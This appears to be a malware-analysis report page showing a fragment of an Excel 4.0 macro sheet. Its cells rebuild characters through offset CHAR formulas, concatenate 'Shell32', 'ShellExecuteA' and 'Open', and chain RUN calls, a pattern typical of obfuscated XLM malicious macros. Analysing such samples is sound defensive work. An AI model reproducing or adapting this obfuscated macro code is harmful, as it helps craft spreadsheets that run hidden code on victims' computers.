x14ac:dyDescent="0.25"><c r="FP1816" t="b"><f>RUN($FF$1119)</f><v>0</v></c></row><row r="1826" spans="38:229" x14ac:dyDescent="0.25"><c r="AL1826" t="str"><f>CONCATENATE($DA$397,$BE$1854,$DZ$106,$BA$1339,$ED$801,$FM$1231,$DF$1832)</f><v>Shell32</v></c><c r="AO1826"><v>591</v></c></row><row r="1827" spans="38:229" x14ac:dyDescent="0.25"><c r="FT1827"><v>61</v></c></row><row r="1828" spans="38:229" x14ac:dyDescent="0.25"><c r="DL1828" t="str"><f>CHAR($IE$846-939)</f><v>R</v></c></row><row r="1829" spans="38:229" x14ac:dyDescent="0.25"><c r="EF1829"><v>650</v></c></row><row r="1832" spans="38:229" x14ac:dyDescent="0.25"><c r="DF1832" t="str"><f>CHAR($DI$1302-312)</f><v>2</v></c></row><row r="1833" spans="38:229" x14ac:dyDescent="0.25"><c r="GX1833" t="b"><f>RUN($FP$1914)</f><v>0</v></c></row><row r="1834" spans="38:229" x14ac:dyDescent="0.25"><c r="DN1834" t="str"><f>CONCATENATE($W$700,$K$287,$AG$247,$HF$1812)</f><v>Open</v></c></row><row r="1839" spans="38:229" x14ac:dyDescent="0.25"><c r="HU1839" t="b"><f>RUN($HG$1563)</f><v>0</v></c></row><row r="1842" spans="26:145" x14ac:dyDescent="0.25"><c r="AE1842"><v>420</v></c></row><row r="1850" spans="26:145" x14ac:dyDescent="0.25"><c r="BH1850"><v>985</v></c></row><row r="1851" spans="26:145" x14ac:dyDescent="0.25"><c r="Z1851" t="str"><f>CHAR($G$357-44)</f><v>i</v></c><c r="EO1851"><v>145</v></c></row><row r="1854" spans="26:145" x14ac:dyDescent="0.25"><c r="BE1854" t="str"><f>CHAR($EI$161-312)</f><v>h</v></c></row><row r="1855" spans="26:145" x14ac:dyDescent="0.25"><c r="CT1855" t="str"><f>CHAR($DQ$365-534)</f><v>4</v></c></row><row r="1858" spans="59:216" x14ac:dyDescent="0.25"><c r="EK1858"><v>143</v></c></row><row r="1866" spans="59:216" x14ac:dyDescent="0.25"><c r="HH1866" t="str"><f>CHAR($DW$1553-939)</f><v>i</v></c></row><row r="1872" spans="59:216" x14ac:dyDescent="0.25"><c r="BG1872" t="str"><f>CHAR($GM$610-534)</f><v>c</v></c><c r="FT1872"><v>387</v></c></row><row r="1880" spans="22:151" x14ac:dyDescent="0.25"><c r="CS1880"><v>650</v></c></row><row r="1882" spans="22:151" x14ac:dyDescent="0.25"><c r="V1882"><v>58</v></c></row><row r="1885" spans="22:151" x14ac:dyDescent="0.25"><c r="EU1885"><v>31</v></c></row><row r="1887" spans="22:151" x14ac:dyDescent="0.25"><c r="EL1887"><v>64</v></c></row><row r="1891" spans="35:246" x14ac:dyDescent="0.25"><c r="AI1891" t="str"><f>CONCATENATE($DN$1834)</f><v>Open</v></c><c r="AP1891" t="str"><f>CHAR($CG$1767-939)</f><v>j</v></c></row><row r="1892" spans="35:246" x14ac:dyDescent="0.25"><c r="BL1892"><v>141</v></c></row><row r="1896" spans="35:246" x14ac:dyDescent="0.25"><c r="HQ1896"><v>413</v></c></row><row r="1899" spans="35:246" x14ac:dyDescent="0.25"><c r="BF1899"><v>31</v></c></row><row r="1900" spans="35:246" x14ac:dyDescent="0.25"><c r="CH1900"><v>17</v></c></row><row r="1903" spans="35:246" x14ac:dyDescent="0.25"><c r="IL1903"><v>86</v></c></row><row r="1908" spans="32:204" x14ac:dyDescent="0.25"><c r="FK1908" t="b"><f>RUN($BH$502)</f><v>0</v></c></row><row r="1914" spans="32:204" x14ac:dyDescent="0.25"><c r="AF1914"><v>113</v></c><c r="FP1914" t="b"><f>RUN($EE$672)</f><v>0</v></c></row><row r="1915" spans="32:204" x14ac:dyDescent="0.25"><c r="GV1915"><v>646</v></c></row><row r="1924" spans="25:148" x14ac:dyDescent="0.25"><c r="Y1924" t="b"><f>RUN($CO$1223)</f><v>0</v></c></row><row r="1929" spans="25:148" x14ac:dyDescent="0.25"><c r="ER1929" t="str"><f>CHAR($BR$1709-44)</f><v>r</v></c></row><row r="1932" spans="25:148" x14ac:dyDescent="0.25"><c r="ED1932" t="str"><f>CHAR($FT$1872-312)</f><v>K</v></c></row><row r="1942" spans="89:165" x14ac:dyDescent="0.25"><c r="EX1942" t="b"><f>RUN($Z$1530)</f><v>0</v></c></row><row r="1944" spans="89:165" x14ac:dyDescent="0.25"><c r="FI1944" t="b"><f>RUN($AF$93)</f><v>0</v></c></row><row r="1945" spans="89:165" x14ac:dyDescent="0.25"><c r="CK1945" t="str"><f>CHAR($GE$1323-44)</f><v>t</v></c></row><row r="1954" spans="51:230" x14ac:dyDescent="0.25"><c r="GB1954" t="str"><f>CHAR($DX$477-939)</f><v>z</v></c></row><row r="1960" spans="51:230" x14ac:dyDescent="0.25"><c r="HV1960" t="str"><f>CHAR($ER$1222-44)</f><v>e</v></c></row><row r="1961" spans="51:230" x14ac:dyDescent="0.25"><c r="CZ1961" t="str"><f>CHAR($GK$957-44)</f><v>n</v></c></row><row r="1962" spans="51:230" x14ac:dyDescent="0.25"><c r="DS1962" t="str"><f>CHAR($GF$226-44)</f><v>D</v></c></row><row r="1966" spans="51:230" x14ac:dyDescent="0.25"><c r="GZ1966"><v>62</v></c></row><row r="1968" spans="51:230" x14ac:dyDescent="0.25"><c r="AY1968"><v>123</v></c></row><row r="1971" spans="46:247" x14ac:dyDescent="0.25"><c r="HQ1971"><v>75</v></c></row><row r="1972" spans="46:247" x14ac:dyDescent="0.25"><c r="FF1972"><v>1047</v></c></row><row r="1975" spans="46:247" x14ac:dyDescent="0.25"><c r="CH1975" t="str"><f>CONCATENATE($CZ$59)</f><v>ShellExecuteA</v></c></row><row r="1976" spans="46:247" x14ac:dyDescent="0.25"><c r="IM1976"><v>389</v></c></row><row r="1984" spans="46:247" x14ac:dyDescent="0.25"><c r="AT1984" t="str"><f>CHAR($DN$208-939)</f><v>S</v></c></row><row r="1993" spans="80:193" x14ac:dyDescent="0.25"><c r="GK1993" t="b"><f>RUN($HS$845)</f><v>0</v></c></row><row r="1994" spans="80:193" x14ac:dyDescent="0.25"><c r="CB1994"><v>48</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" horizontalDpi="300" verticalDpi="300" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.